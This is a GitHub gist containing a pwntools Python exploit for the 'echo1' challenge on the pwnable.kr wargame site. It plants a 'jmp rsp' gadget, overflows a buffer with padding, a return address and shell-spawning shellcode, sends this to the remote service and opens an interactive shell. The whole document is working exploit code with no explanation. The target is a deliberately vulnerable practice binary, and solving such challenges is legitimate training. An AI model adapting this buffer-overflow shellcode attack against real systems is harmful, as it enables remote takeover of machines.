Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created March 13, 2017 20:44
Show Gist options
  • Save 0xPwny/2b680ed9005709671b8742682d678bb4 to your computer and use it in GitHub Desktop.
Save 0xPwny/2b680ed9005709671b8742682d678bb4 to your computer and use it in GitHub Desktop.
echo1 - Pwnable.kr
#!/usr/bin/python
#author : Abdeljalil Nouiri
from pwn import *
context.arch= "amd64"
context.os = "linux"
cmd = 0x6020a0
"""
fgetsGOT = 0x602020
PUTS = 0x400630
"""
JMP = asm("jmp rsp")
SC = asm(shellcraft.sh())
#con = process("./echo1")
con = remote("pwnable.kr",9010)
con.recvuntil("name? :")
con.sendline(JMP)
con.recvuntil(">")
con.sendline("1")
con.recvuntil("\n")
payload = "A"*40
payload += p64(cmd)
payload += SC
con.sendline(payload)
con.interactive("Shell# ")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment